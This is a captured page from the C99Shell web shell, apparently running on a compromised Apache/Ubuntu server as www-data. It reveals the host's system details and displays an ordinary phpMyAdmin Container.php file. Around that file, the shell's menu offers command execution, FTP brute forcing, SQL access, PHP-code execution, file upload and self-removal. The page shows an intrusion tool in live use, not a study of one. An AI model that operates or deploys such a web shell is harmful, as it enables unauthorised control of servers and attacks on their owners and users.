!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/Di/   drwxr-xr-x
Free 13.02 GB of 57.97 GB (22.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Container.php (4.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Holds the PhpMyAdmin\Di\Container class
 *
 * @package PhpMyAdmin\Di
 */
namespace PhpMyAdmin\Di;

use 
Psr\Container\ContainerInterface;

/**
 * Class Container
 *
 * @package PhpMyAdmin\Di
 */
class Container implements ContainerInterface
{
    
/**
     * @var Item[] $content
     */
    
protected $content = array();

    
/**
     * @var Container
     */
    
protected static $defaultContainer;

    
/**
     * Create a dependency injection container
     *
     * @param Container $base Container
     */
    
public function __construct(Container $base null)
    {
        if (isset(
$base)) {
            
$this->content $base->content;
        } else {
            
$this->alias('container''Container');
        }
        
$this->set('Container'$this);
    }

    
/**
     * Get an object with given name and parameters
     *
     * @param string $name   Name
     * @param array  $params Parameters
     *
     * @throws NotFoundException  No entry was found for **this** identifier.
     * @throws ContainerException Error while retrieving the entry.
     *
     * @return mixed
     */
    
public function get($name, array $params = array())
    {
        if (!
$this->has($name)) {
            throw new 
NotFoundException("No entry was found for $name identifier.");
        }

        if (isset(
$this->content[$name])) {
            return 
$this->content[$name]->get($params);
        } elseif (isset(
$GLOBALS[$name])) {
            return 
$GLOBALS[$name];
        } else {
            throw new 
ContainerException("Error while retrieving the entry.");
        }
    }

    
/**
     * Returns true if the container can return an entry for the given identifier.
     * Returns false otherwise.
     *
     * `has($name)` returning true does not mean that `get($name)` will not throw an exception.
     * It does however mean that `get($name)` will not throw a `NotFoundException`.
     *
     * @param string $name Identifier of the entry to look for.
     *
     * @return bool
     */
    
public function has($name)
    {
        return isset(
$this->content[$name]) || isset($GLOBALS[$name]);
    }

    
/**
     * Remove an object from container
     *
     * @param string $name Name
     *
     * @return void
     */
    
public function remove($name)
    {
        unset(
$this->content[$name]);
    }

    
/**
     * Rename an object in container
     *
     * @param string $name    Name
     * @param string $newName New name
     *
     * @return void
     */
    
public function rename($name$newName)
    {
        
$this->content[$newName] = $this->content[$name];
        
$this->remove($name);
    }

    
/**
     * Set values in the container
     *
     * @param string|array $name  Name
     * @param mixed        $value Value
     *
     * @return void
     */
    
public function set($name$value null)
    {
        if (
is_array($name)) {
            foreach (
$name as $key => $val) {
                
$this->set($key$val);
            }
            return;
        }
        
$this->content[$name] = new ValueItem($value);
    }

    
/**
     * Register a service in the container
     *
     * @param string $name    Name
     * @param mixed  $service Service
     *
     * @return void
     */
    
public function service($name$service null)
    {
        if (!isset(
$service)) {
            
$service $name;
        }
        
$this->content[$name] = new ServiceItem($this$service);
    }

    
/**
     * Register a factory in the container
     *
     * @param string $name    Name
     * @param mixed  $factory Factory
     *
     * @return void
     */
    
public function factory($name$factory null)
    {
        if (!isset(
$factory)) {
            
$factory $name;
        }
        
$this->content[$name] = new FactoryItem($this$factory);
    }

    
/**
     * Register an alias in the container
     *
     * @param string $name   Name
     * @param string $target Target
     *
     * @return void
     */
    
public function alias($name$target)
    {
        
// The target may be not defined yet
        
$this->content[$name] = new AliasItem($this$target);
    }

    
/**
     * Get the global default container
     *
     * @return Container
     */
    
public static function getDefaultContainer()
    {
        if (!isset(static::
$defaultContainer)) {
            static::
$defaultContainer = new Container();
        }
        return static::
$defaultContainer;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--